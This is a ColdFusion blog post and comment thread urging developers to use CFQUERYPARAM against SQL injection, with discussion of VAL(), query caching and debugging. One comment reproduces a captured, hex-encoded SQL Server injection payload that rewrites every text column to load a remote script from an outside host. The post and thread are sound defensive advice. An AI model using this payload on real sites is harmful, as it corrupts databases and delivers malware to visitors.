The use of <CFQUERYPARAM> as a means to enhance the security of ColdFusion applications (and also deliver a side benefit of improved performance) has long been advocated. But, judging by the number of sites that have been compromised by a recent spate of SQL injection attacks (that may in fact be targeting .cfm pages specifically), many have yet to apply this simple and effective enhancement.
I've discussed this subject repeatedly over the years. But, it's critical enough that I want to highlight a post I made 2 1/2 years ago entitled SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored.
There are some who think that it makes debugging queries a pain because the queryparam is replace by '?'s and you actually have to click something extra in the debugging panel AND you can't just copy and paste your query into a query analyzer..
For those who scoff at using cfqueryparam for whatever excuses I hope they don't learn the lesson the hard way.
--- Ben
I've worked with PHP for many years and I'm trying to get up to speed on CF when, the application I didn't write, got compromised. If this is such a no-brainer, why is so little devoted to this in examples, tutorials and the like? I do see there are some "best practices" papers out there, but none of the examples in the resources I'm trying to learn from use it.
Again, I'm not trying to be critical, but all of these blogs in the after math have an "I told you so" tone to them. Well, in the case of the books/sites I'm reading, I don't believe anyone has. If this is an obvious coding practice, it should be demonstrated in the examples used to help teach the next generation of ColdFusion developers.
Yep, it probably should be mentioned earlier in the book, criticism noted and accepted.
But, to be fair, this is not a case of jumping up and down after the fact. In addition to the blog post mentioned above (from December 2005) I posted http://www.forta.com/blog/index.cfm/2000/9/26/Use-... back in September 2000, wrote a column on the subject for SYS-CON (see http://coldfusion.sys-con.com/read/41712.htm) back in February 2002, and more.
There is also coverage of this in detail in the Adobe ColdFusion Security site at http://www.adobe.com/devnet/coldfusion/security.ht..., and anyone subscribed for Adobe security bulletins would have been notified about this many times over. Plus many others have discussed this subject, and there are numerous articles and bulletins on the subject on Adobe.com (like http://www.adobe.com/devnet/coldfusion/articles/cf... written by Dave Watts quite a few years ago).
The subject has also been covered in numerous usergroup presentations, webinars, MAX sessions, and is also included in the official ColdFusion Security Guidelines document.
Honestly, while we can (and should) always do more to protect users and their apps, this is really not something that anyone can claim ignorance about.
--- Ben
And indeed: CFWACK has tons of queries without cfparam in them...
I've always heard you were the best CF resource and I appreciate the quick response. There are tons of things in PHP that just come with experience (magic quotes and the like). I just found it frustrating that as I try to learn CF, none of the basic CFQUERY examples (books, sites, etc.) show it in use. I understand the need to keep the examples simple, but in two months of reviewing and learning, it has never come up. Granted, it was obviously not used in the application I'm learning from, but even in other good examples it was not used.
In any case, thank you for the response. I take this seriously as well and I'm working like mad to be effective with CF in my new role. Lesson #1 under my belt I guess.
Yes, CFQUERYPARAM is ugly. At a minimum, it should have been an inline function as CFQueryParam() and not a tag. I agree. And I actually argued for that back in CF4.x days, but back then there were some technical reasons that made that impossible. I still would like to see it changed though (while maintaining backwards compatibility of course).
As for CF doing it for you automatically, that's much trickier, and assumes that CF can intelligently always figure out what you are trying to do. It may work in simple cases, but it can't work in all, and that's asking for trouble. But, building on your idea, I'd rather a flag (perhaps in Application.cfc) that forces CF into a mode where it won't accept non-parametrized queries, throwing an error if they are used. That would at least make it easier to find all cases that need to be fixed.
And as for CFWACK, as already noted, you are correct, and many (actually, most) examples do not use CFQUERYPARAM. But then again, most examples are intended to be as clean and as simple as possible. Having said that, in CFWACK (7 and 8) I introduce CFCs as the preferred way to interact with databases in the chapter immediately after the one that first uses CFQUERY. The techniques recommended there do indeed help address SQL injection risks. And a note in the middle of that chapter states that there are security implications and refers readers to the appropriate later chapter.
--- Ben
I don't know that CF is being targeted. But over the past few days we've seen reports of lots of CF sites showing SQL injection attempts in logs and error messages, and several users have reported that they've found databases compromised. While there is no evidence that this begin targeted specifically at CF, and indeed sites powered by other backends are begin targeted too, there is reason to suspect that .cfm pages have indeed been added to the list of URLs that hacker scripts seem to be looking for.
--- Ben
Continuing on Gary's point, why does the debugger show ?'s instead of what the result of the cfqueryparam was? It is definitely a point of annoyance for me since I began using cfqueryparam.
Now if only it could be used outside of cfquery to build up sql.
Dan, yes yes yes. CFQUERYPARAM as a function could indeed do just that. Hey, maybe for CF9? ;-)
--- Ben
';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686
17228323535292C40432076617263686172283430303029204445434C415245205461626C655F
437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652
066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3
939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7874
7970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E20657865632827757064617465205B272B405
42B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E
3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A732
23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B65
20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E7
66572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442
0434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));EXEC(@S);
Which is pretty much identical to the ASP attack that has been going on for several months.
-alan
(In our testing, neither CF 8.0.1 or not the alleged hotfix for this problem actually fixes it-- do other people run into this?)
Query caching works with CFQUERYPARAM in CF8. And I just wrote a little test case for you using the sample databases that come with CF8. Try it out, caching works perfectly.
<cfset artistid=1>
<cfquery datasource="cfartgallery"
name="q" result="r"
cachedwithin="#CreateTimeSpan(0,0,10,0)#">
SELECT *
FROM art
WHERE artistid = <cfqueryparam value="#artistid#"
cfsqltype="cf_sql_integer">
</cfquery>
<h1>q</h1>
<cfdump var="#q#">
<h1>r</h1>
<cfdump var="#r#">
--- Ben
--- Ben
The problem is discussed here:
http://kb.adobe.com/selfservice/viewContent.do?ext...
...but the hotfix on that page doesn't actually solve the problem, as we discover every time one of our developers deploys code that uses cfqueryparam and caching together. We've got various workarounds (most of which boil down to either "don't cache the query" or "use some other method of sanitizing the query input"), but this has been my pet least-favorite CF issue for a while now.
For years, I have used the #val()# tag to prevent against SQL injection. Is there any risk in continuing this, or should we switch everything to CFQUERYPARAM immediately?
Ray
--- Ben
I know it may seem like the easiest solution to prevent this, but suggesting a blanket use of the tag isnt the best way to go. We have documented several occassions where using cfqueryparam resulted in slower queries -- basically, SQL is using the same execution path rather than figuring it out each time, and removing cfqueryparam sped up the queries greatly. In those instances, where we noticed a big difference, we validate the datatypes outside of CFQUERYPARAM and just pass in the validated value as normal.
Just something to be aware of, since the use of CFQUERYPARAM isnt as much of a "CF" practice as it is a "what you are really sending to SQL" practice.
Should we also be wrapping update queries...
SET Surname = <cfqueryparam value="#Form.Surname#" type="text">
Does <cfqueryparam> protect you from somebody with a surname 'EXEC DROP TABLE JOBS'
We tend to leave test cfm pages, and re-named old versions of cfm files on the server
Is this considered bad practice ?
Previously, only adding a VAL around numeric inserts was ok, since single quotes were escaped and automatically prevented SQL injection without using cfqueryparam.
However, this new technique "encodes" the sql to be injected in your DB, and DOESN'T use single quotes.
A "quick fix" is to check the length of the URL in your application.cfm/cfc. The encoded sql string is very long and responding to it with a <cfabort> does the trick (for now).
EVERYTHING within hashes inside a cfquery block MUST use cfqueryparam (or be thoroughly escaped).
The type of statement ( select/update/etc ) is irrelevant - especially if you're using a database driver which supports multiple statements inside a single query.
>> Does <cfqueryparam> protect you from somebody with a surname 'EXEC DROP TABLE JOBS'
Yes, (assuming you don't dynamically evaluate any fields).
cfqueryparam uses what's known as "bind variables", so the value is treated as data rather than part of the command.
(Not sure that's a great explanation; I'm sure someone else can give a better one)
>> We tend to leave test cfm pages, and re-named old versions of cfm files on the server
>> Is this considered bad practice ?
Of course. (You know it is, or you wouldn't have asked.)
And dont rename old versions anywhere - get version control!
But still Im not into it. It makes all your queries very ugly.
All our querys are done in cfc's with data type checking on the arguments. Sure we don't get the performance gain of prepared statements, but we don't get all the bloat.
Perhaps a function version of this tag is in order, hopefully with a shorter name and arguments, they are so long!
So instead of this
WHERE Course_ID = <cfqueryPARAM value = "#Course_ID#" CFSQLType = "CF_SQL_INTEGER">
#queryParam(
WHERE Course_ID = #queryParam(Course_ID, "Integer")#
Referring to your quote, "Previously, only adding a VAL around numeric inserts was ok, since single quotes were escaped and automatically prevented SQL injection without using cfqueryparam.", can you elaborate?
We are using SQL Server and #val()# tags (not CFQUERYPARAM) tags and are not being affected by the injection (although there have been thousands of attempts). My understanding is that VAL tags will stop this. Ben confirmed this (in another comment in this article) but said he would still prefer that we use CFQUERYPARAM tags if possible.
I guess what I'm getting at is this. I have hundreds of thousands of lines of code that all use VAL() to protect against SQL injections. I don't have weeks to go back and fix all of those. I plan on using CFQUERYPARAM in the future as a "best practice" (although I would prefer a function, like many people have requested).
So please elaborate on your quote that VAL() will NOT work in this attack, because in my scenario it seems to be working just fine.
Ray
Oh, and no waiting for a new function. In the meantime, use <cfqueryparam>, or do whatever you think appropriate, but do something!
--- Ben
Is your lobbying enough on it's own, or would it help if a horde of angry bloggers turned up with pitchforks and flaming torches to demand it? ;)
does CreateODBCdate() provide adequate protection for dates ?
"do a search for every single <cfquery> in your code. Then quickly scan to find any that contain #'s in them (that are not enclosed in quotes or passed to <cfqueryparam>)"
This reflects the issue that is causing so much havok: that many developers were under the assumption that the quote escaping done by CF would prevent this type of injection. As we've seen, that is not correct, and string fields in quotes need a cfqueryparam as well (or some other method of scrubbing done)
Well, I can't edit posts. But, I did add a note to that earlier post referring readers to the newer posts. Thanks for pointing this out.
--- Ben
I assume you meant, "Since this post was made," :-)
I am having a form
<form action="#CGI.SCRIPT_NAME#" name="test" method="post">
Code : <input type="text" name="Code"><br>
Question: <input type="text" name="Question"><br>
<input type="Submit" name="submit" value="submit">
</form>
on submit, it calls a cfc & inserts into the table, while inserting it should check whether the field exists, and if it exists, it should insert the value else a null...
the code is as follows... as per the logic, i dont see anything wrong, but it throws the error on runtime execution...
<cffunction name="sampleT" output="false" returntype="void" hint="">
<cfargument name="testform" required="true" type="struct" hint="">
<cfset var tt = "">
<cfquery name="tt" datasource="membership">
INSERT
INTO SecretQuestions(Code,Question,test)
VALUES (
<cfqueryparam null="false" cfsqltype="cf_sql_varchar" value="#arguments.testform.Code#" maxlength="3">,
<cfqueryparam null="#not len(trim(arguments.testform.Question))#" cfsqltype="cf_sql_varchar" value="#arguments.testform.Question#" maxlength="50">,
<cfqueryparam null="#not structKeyExists(arguments.testform,'test')#" cfsqltype="cf_sql_varchar" value="<cfif structKeyExists(arguments.testform,'test')>#arguments.testform.test#<cfelse>''</cfif>" maxlength="45">
)
</cfquery>
</cffunction>
it throws the error & says "Element TESTFORM.TEST is undefined in ARGUMENTS. "
anyother way to achieve the functionality only using cfqueryparam & not using extra if's & else's around cfqueryparam... ?
will be really greatfull to get a solution...
thanks...
<cfqueryparam null="#not len(trim(arguments.testform.Question))#" cfsqltype="cf_sql_varchar"
http://inspironbattery.blogspot.com/
where course_id = #queryParam_i(course_id)#
where the type is in the name.. _i is integer, etc. This would save 30 keystrokes with each use.